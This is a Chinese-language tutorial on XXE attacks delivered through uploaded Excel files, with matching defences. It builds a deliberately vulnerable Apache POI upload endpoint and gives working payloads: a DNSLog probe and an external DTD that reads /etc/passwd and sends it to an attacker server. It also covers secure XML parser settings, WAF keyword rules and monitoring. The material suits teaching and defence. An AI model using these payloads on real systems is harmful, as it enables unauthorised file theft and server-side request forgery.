Excel文件XXE攻击:从原理到防御的完整指南

发布时间:2026/7/3 12:26:52
Excel文件XXE攻击:从原理到防御的完整指南 1. 项目概述当日常办公工具成为攻击入口你可能每天都在用Excel处理数据、制作报表觉得它就是个再普通不过的办公软件。但你想过吗一个看似无害的.xlsx文件也可能成为攻击者撬开你系统大门的“特洛伊木马”。今天要聊的就是利用Excel文件进行XXE攻击这件事。XXE全称XML External Entity翻译过来叫XML外部实体注入。这听起来有点技术但简单说就是攻击者利用XML解析器的特性让它在处理文件时去读取攻击者指定的外部资源比如服务器上的敏感文件甚至发起网络请求。为什么Excel会和XXE扯上关系这得从它的“芯”说起。我们熟悉的.xlsx格式本质上是一个ZIP压缩包。你把它后缀名改成.zip解压开来里面是一堆XML文件用来描述工作表、样式、字符串等等。当服务器端的程序比如用Java的Apache POI库或者Python的openpyxl去读取这个Excel文件时底层就是在解析这些XML。如果这个解析过程没有做好安全配置攻击者就有机可乘了。我见过不少后台系统为了方便用户上传数据都集成了Excel导入功能但开发者往往只关注业务逻辑是否正确却忽略了文件解析本身可能带来的安全风险。这个攻击手法的核心就是构造一个“披着Excel外衣”的恶意XML包去欺骗服务器的解析器。这篇文章适合谁看如果你是后端开发者、安全工程师或者负责系统运维那必须得了解。它能帮你理解一个常见的功能点背后可能隐藏的致命漏洞。对于安全爱好者这也是一个理解XXE原理和文件格式攻击的绝佳案例。我会从原理、环境搭建、攻击构造到防御一步步拆开来讲让你不仅知道“是什么”更明白“为什么”和“怎么办”。我们不用任何复杂的黑客工具就从最基础的文本编辑器和代码开始。2. 核心原理深度拆解Excel文件结构与XXE的碰撞要理解这个攻击你得先忘掉Excel的表格界面深入到它的文件结构里去。一个.xlsx文件解压后的典型目录结构是这样的[Content_Types].xml _rels/ .rels xl/ workbook.xml styles.xml sharedStrings.xml worksheets/ sheet1.xml ...其中[Content_Types].xml是一个全局性的文件它定义了压缩包内其他各部分内容Part的媒体类型Content-Type。这个文件是攻击的一个关键入口点因为它本身就是一个XML文件且通常会被解析器较早地读取。XXE漏洞的根源在于XML规范本身。XML标准允许在文档内部定义“实体”Entity你可以把它理解为一种变量或宏。例如lt;代表小于号这就是一个预定义好的内部实体。而“外部实体”External Entity则允许XML处理器从外部系统如本地文件、远程URL加载内容。攻击者正是利用了这一点。攻击链条是如何形成的构造阶段攻击者创建一个正常的Excel文件然后解压找到并修改其中的XML文件最常见的是[Content_Types].xml或xl/workbook.xml插入恶意的外部实体声明。上传阶段用户将这个恶意Excel文件上传到目标Web应用。解析阶段服务器端应用使用XML解析库如Java的DocumentBuilderFactory、Python的lxml.etree来处理Excel文件中的XML内容。触发阶段如果解析器未禁用外部实体解析默认情况下很多解析器是启用的它就会按照恶意XML中的指示去访问指定的外部资源。利用阶段根据攻击者的意图可能造成以下后果文件读取读取服务器上的/etc/passwd、C:\Windows\win.ini或应用配置文件。内网探测让服务器向内部网络地址发起HTTP请求根据响应判断服务是否存在SSRF服务器端请求伪造。拒绝服务通过加载一个巨大的外部实体如/dev/random耗尽服务器资源。远程代码执行在特定条件下结合其他漏洞实现更严重的攻击。注意这里必须强调所有讨论和演示都应在完全受控的、合法的测试环境中进行例如你自己搭建的虚拟机或获得明确授权的靶场。任何对未授权系统的测试都是非法且不道德的。为什么这个攻击容易成功因为开发者有一个常见的思维盲区他们认为用户上传的是“Excel数据”所以只需要关注单元格里的内容是否合法。但实际上服务器接收并处理的是一个“复合文档格式”安全责任落在了XML解析器这个底层组件上。如果解析器的配置没跟上整个应用的安全防线就出现了一个缺口。3. 测试环境搭建与工具准备纸上谈兵终觉浅我们动手搭一个环境来验证。这个环境完全是为了学习和理解防御原理请务必在隔离的虚拟机或本地开发机上进行。3.1 后端服务搭建以Spring Boot为例我们模拟一个最常见的场景一个提供Excel数据导入功能的Spring Boot Web应用。首先用Spring Initializr创建一个新项目依赖选择Spring Web,Spring Boot DevTools。然后在pom.xml中添加Apache POI依赖这是Java处理Office文档最常用的库。dependency groupIdorg.apache.poi/groupId artifactIdpoi-ooxml/artifactId version5.2.3/version !-- 使用较新版本 -- /dependency创建一个简单的控制器用于处理文件上传import org.springframework.web.bind.annotation.*; import org.springframework.web.multipart.MultipartFile; import org.apache.poi.ss.usermodel.*; import org.apache.poi.xssf.usermodel.XSSFWorkbook; import java.io.InputStream; RestController RequestMapping(/api/excel) public class ExcelImportController { PostMapping(/upload) public String uploadExcel(RequestParam(file) MultipartFile file) { // 这是一个存在漏洞的解析方法 try (InputStream is file.getInputStream()) { Workbook workbook new XSSFWorkbook(is); // 关键点这里直接解析输入流 Sheet sheet workbook.getSheetAt(0); // ... 假设这里有一些读取单元格数据的业务逻辑 ... return 文件解析成功共读取了 sheet.getPhysicalNumberOfRows() 行数据。; } catch (Exception e) { return 文件解析失败: e.getMessage(); } } }这段代码的问题在于new XSSFWorkbook(is)这行代码在底层会解析Excel文件内部的XML。如果Apache POI底层使用的XML解析器比如默认的Java DOM解析器没有进行安全配置那么嵌入在Excel文件中的XXE攻击载荷就会被触发。3.2 攻击辅助工具DNSLog平台在真实攻击中攻击者需要一种“带外”Out-of-Band的方式来确认漏洞是否存在并接收数据。因为直接读取文件内容可能无法在HTTP响应中回显。DNSLog就是一种常用的技术。它的原理是让存在漏洞的服务器去解析一个攻击者控制的特殊域名如xxx.dnslog.cnDNS查询记录会被平台记录下来从而证明服务器确实发起了对外请求。你可以使用一些公开的DNSLog服务如dnslog.cn,ceye.io来获取一个临时子域名。我们后续会用它来验证漏洞是否可被触发。3.3 文件构造工具你只需要两样东西一个文本编辑器如VS Code、Notepad用于修改XML文件。压缩/解压工具系统自带的或7-Zip即可。因为.xlsx就是zip格式。环境准备好后我们的攻击面就很清晰了一个使用默认配置解析Excel的上传接口。4. 恶意Excel文件构造实战现在我们来一步步“制作”一个能触发XXE的Excel文件。请记住整个过程就像在修改一个网页的HTML源代码只不过这个“网页”被打包在了Excel里。4.1 创建基础文件并解包首先用Excel或WPS创建一个最简单的表格保存为“test.xlsx”。然后把文件后缀名改为“test.zip”右键解压到一个文件夹比如test_exploit里。4.2 定位并修改关键XML文件解压后找到根目录下的[Content_Types].xml文件。用文本编辑器打开它你会看到类似下面的内容?xml version1.0 encodingUTF-8 standaloneyes? Types xmlnshttp://schemas.openxmlformats.org/package/2006/content-types Default Extensionrels ContentTypeapplication/vnd.openxmlformats-package.relationshipsxml/ Default Extensionxml ContentTypeapplication/xml/ Override PartName/xl/workbook.xml ContentTypeapplication/vnd.openxmlformats-officedocument.spreadsheetml.sheet.mainxml/ Override PartName/xl/worksheets/sheet1.xml ContentTypeapplication/vnd.openxmlformats-officedocument.spreadsheetml.worksheetxml/ ... /Types我们要在这个XML文件的顶部Types标签之前插入我们的XXE载荷。一个经典的用于探测的载荷如下?xml version1.0 encodingUTF-8 standaloneyes? !DOCTYPE Types [ !ENTITY % remote SYSTEM http://你的子域名.dnslog.cn/xxe_test %remote; ] Types xmlnshttp://schemas.openxmlformats.org/package/2006/content-types !-- 原有内容保持不变 -- Default Extensionrels ContentTypeapplication/vnd.openxmlformats-package.relationshipsxml/ ... /Types这个载荷做了什么!ENTITY % remote ...定义了一个名为remote的参数实体它的值是后面那个URL。%remote;引用了这个参数实体。当XML解析器处理到这里时它会尝试去获取http://你的子域名.dnslog.cn/xxe_test这个资源。4.3 重新打包为Excel保存修改后的[Content_Types].xml文件。然后选中test_exploit文件夹里的所有文件和文件夹将它们压缩成一个ZIP文件注意压缩格式选择ZIP压缩级别无所谓。最后将这个新生成的ZIP文件的后缀名从.zip改回.xlsx。这样一个“内嵌”了XXE探测载荷的Excel文件就制作完成了。实操心得在修改XML时务必保持XML格式的良好性Well-Formed。一个多余的空格或错误的标签闭合都可能导致文件损坏Excel打不开服务器也解析失败。建议先用在线XML校验工具检查一下修改后的文件。另外[Content_Types].xml文件名两边的方括号[]在某些操作系统下需要特殊处理在命令行中操作时要注意转义或使用引号包裹。5. 攻击验证与漏洞利用演示文件做好了我们来验证它是否有效。5.1 第一阶段漏洞存在性确认打开你的DNSLog平台获取一个子域名例如abc123.dnslog.cn。将上面恶意Excel文件载荷中的URL替换成http://abc123.dnslog.cn/poi_xxe。启动我们刚才搭建的Spring Boot应用。使用Postman、cURL或者任何一个可以发送HTTP请求的工具向http://localhost:8080/api/excel/upload发送一个POST请求表单字段为file上传我们制作的恶意Excel文件。观察应用返回。如果返回“文件解析失败”或类似的错误因为我们的文件除了XXE载荷没有有效数据这可能是正常的。关键步骤刷新你的DNSLog平台页面。如果平台上出现了来自你服务器IP的对abc123.dnslog.cn的DNS查询记录那么恭喜或者说糟糕漏洞确实存在这证明服务器的XML解析器在处理我们上传的Excel文件时真的去访问了那个外部URL。这个过程被称为“盲XXE”探测因为攻击者无法直接从HTTP响应中看到结果但通过带外信道DNSLog确认了漏洞。5.2 第二阶段利用漏洞读取敏感文件仅仅探测不够攻击者想要数据。我们需要升级我们的载荷。直接读取文件并回显有时很困难我们可以利用“外部DTD”的技巧。这个技巧的原理是让存在漏洞的服务器去加载一个攻击者放在公网服务器上的DTD文件这个DTD文件里定义了如何把目标文件的内容发送出来。假设我们想读取服务器上的/etc/passwd文件Linux系统或C:\Windows\win.iniWindows系统。首先我们需要一个公网可访问的Web服务器用来存放恶意的DTD文件。你可以用一台VPS或者使用一些临时的网络存储服务但要注意内容可能被审查。在服务器上创建一个文件比如evil.dtd内容如下!ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://你的接收服务器/leak?data%file; %eval; %exfil;这个DTD做了几件事定义实体%file其内容是file:///etc/passwd文件的内容。定义实体%eval其内部又定义了一个实体%exfil这个实体会向攻击者的服务器发起一个HTTP请求并将%file的内容作为URL参数data的值发送出去。最后引用%eval和%exfil来触发整个链条。然后我们修改恶意Excel文件中的[Content_Types].xml使用这个外部DTD?xml version1.0 encodingUTF-8 standaloneyes? !DOCTYPE Types [ !ENTITY % remote SYSTEM http://你的公网服务器/evil.dtd %remote; ] Types xmlnshttp://schemas.openxmlformats.org/package/2006/content-types !-- 原有内容 -- /Types重新打包成Excel并上传。如果漏洞存在且网络可达你的公网服务器需要在/leak这个路径有日志记录功能就会收到一个GET请求URL中的data参数后面就是一长串Base64编码因为URL中不能直接传特殊字符浏览器或解析器通常会编码的/etc/passwd文件内容。5.3 利用的变种与限制读取Windows文件将DTD中的路径改为file:///C:/Windows/win.ini。注意Windows文件路径的写法。无回显场景如果目标服务器出不了网无法访问外部DTD那么利用难度会大大增加但并非不可能。有时可以通过报错信息差异、延时利用http://靶机/?ab这种请求的响应时间来进行盲注但这需要更复杂的技巧和运气。Java特定限制在Java环境中由于安全管理器Security Manager和XML解析器的默认行为直接读取文件内容可能受到限制或者读取到的内容可能因为包含换行符等而被截断。这时需要更精巧的DTD构造比如使用FTP协议、利用CDATA标签包裹等。重要警告再次强调上述所有利用演示步骤必须在你自己拥有完全控制权的实验环境中进行。在实际工作中发现此类漏洞应立即报告给相关团队进行修复绝不可用于未授权的测试。6. 漏洞根因分析与安全配置攻击成功了那问题到底出在哪根本原因在于XML解析器的默认配置是不安全的。以Java中最常用的DocumentBuilderFactory为例Apache POI在底层可能会用到它。不安全的解析代码通常是这样的DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); DocumentBuilder db dbf.newDocumentBuilder(); Document doc db.parse(inputStream); // 危险这段代码没有对解析器做任何安全设置。DocumentBuilderFactory默认是支持外部实体解析的这就给XXE开了绿灯。6.1 安全的配置方式修复的方法就是显式地禁用这些危险功能。以下是在Java中配置安全XML解析的通用方法DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); // 关键安全配置开始 String FEATURE null; try { // 1. 禁用外部通用实体 FEATURE http://xml.org/sax/features/external-general-entities; dbf.setFeature(FEATURE, false); // 2. 禁用外部参数实体 FEATURE http://xml.org/sax/features/external-parameter-entities; dbf.setFeature(FEATURE, false); // 3. 启用安全处理模式针对某些解析器 FEATURE http://javax.xml.XMLConstants/feature/secure-processing; dbf.setFeature(FEATURE, true); // 4. 禁用DTDs加载最彻底的方式 dbf.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); } catch (ParserConfigurationException e) { // 如果某些特性不支持记录日志并尝试其他方式 // 但至少必须禁用DTD } // 如果无法彻底禁用DTD比如业务需要则至少设置实体解析器为空或安全的 dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false); // 不展开实体引用 // 也可以设置一个空的EntityResolver忽略所有外部实体 dbf.setEntityResolver((publicId, systemId) - new InputSource(new StringReader())); DocumentBuilder db dbf.newDocumentBuilder(); Document doc db.parse(inputStream); // 现在安全了6.2 针对Apache POI的修复对于使用Apache POI的场景问题在于POI内部使用的解析器。从POI 3.8版本开始它提供了一种方式来设置安全的XML解析器。更推荐的做法是升级到最新版本的POI如5.x因为新版本通常会在内部使用更安全的默认配置或提供明确的设置接口。你可以通过设置系统属性来强制POI使用一个安全的XML解析器// 在应用启动时设置 System.setProperty(javax.xml.parsers.DocumentBuilderFactory, com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderFactoryImpl); // 但更好的方式是直接配置你使用的解析器工厂如上文所示。最稳妥的办法是在解析用户上传的Excel文件之前如果业务允许对文件内容进行预处理或使用“沙箱”环境进行解析。但核心还是配置好底层的XML解析器。6.3 其他语言和库的防护Python (openpyxl / pandas)openpyxl本身声称对XXE免疫因为它使用自己的XML解析器并忽略DOCTYPE声明。但依赖的底层库如lxml如果配置不当也可能有问题。使用lxml时应使用lxml.etree.XMLParser(resolve_entitiesFalse)。.NET (EPPlus, NPOI)确保使用的XML读写器如XmlReader设置了ProhibitDtdtrue或DtdProcessing DtdProcessing.Prohibit。PHP (PHPExcel / PhpSpreadsheet)确保libxml_disable_entity_loader(true);在解析前被调用。7. 防御体系构建与最佳实践修复一个解析器配置只是第一步。要系统性地防御此类攻击需要在软件开发生命周期的多个环节建立防线。7.1 开发阶段安全编码与依赖管理安全基线在项目脚手架或公共工具类中提供经过安全加固的XML解析工具方法要求所有开发者统一使用。依赖扫描使用OWASP Dependency-Check、Snyk等工具定期扫描项目依赖如POI、DOM4J、JDOM等确保使用的第三方库没有已知的XXE相关漏洞。代码审计在代码审查中将XML解析、文件上传尤其是Office、PDF等复合文档作为重点检查项。审查是否有直接使用DocumentBuilderFactory.newInstance()而未配置的情况。使用更安全的替代库对于只需要读取Excel数据的场景可以考虑使用一些声明不支持DTD/Entity的轻量级库或者使用纯文本解析CSV格式如果业务允许。7.2 运维与部署阶段纵深防御WAFWeb应用防火墙规则配置WAF规则检测上传文件中是否包含!DOCTYPE、!ENTITY、SYSTEM、PUBLIC等XXE特征字符串。但这只是一种缓解措施聪明的攻击者可能会进行编码、混淆来绕过。文件类型校验不要仅依赖文件后缀名.xlsx。应在服务器端校验文件的魔数Magic Number或内部结构。一个真正的.xlsx文件解压后必然有特定的目录和文件结构。可以进行简单的预检尝试解压检查是否存在[Content_Types].xml和xl/目录。内容过滤与消毒在上传后、解析前可以对文件内容进行“消毒”。例如使用一个安全的解析器先解析一遍移除或禁用所有DOCTYPE和ENTITY声明然后再将“干净”的XML交给业务解析器处理。但这需要较高的性能开销和复杂度。运行环境隔离将文件解析服务部署在独立的、网络受限的容器或沙箱中限制其访问内网和外部网络的能力。即使被攻破影响范围也有限。最小权限原则运行解析服务的操作系统账户应具有尽可能低的权限不能读取应用配置文件之外的敏感系统文件。7.3 安全测试与监控自动化安全测试将XXE测试用例纳入CI/CD流水线。可以使用专门的漏洞扫描工具如Burp Suite Professional的Active Scan或编写自定义脚本自动上传构造的恶意Excel文件检测服务响应是否异常如延迟、错误信息变化或是否产生外部网络请求通过监控测试环境的出站流量。入侵检测与日志审计监控服务器上XML解析相关的错误日志。大量解析错误或包含“ENTITY”、“External DTD”等关键词的日志可能是攻击尝试的迹象。同时监控服务器进程是否异常访问/etc/passwd等敏感文件路径或向陌生域名发起DNS/HTTP请求。防御XXE不是一个开关而是一个体系。从安全的默认配置开始在代码层堵住漏洞再通过运维手段增加攻击成本最后用监控来发现漏网之鱼。对于Excel导入这种常见功能下次在开发时不妨把“检查XML解析器配置”加到你的代码审查清单里。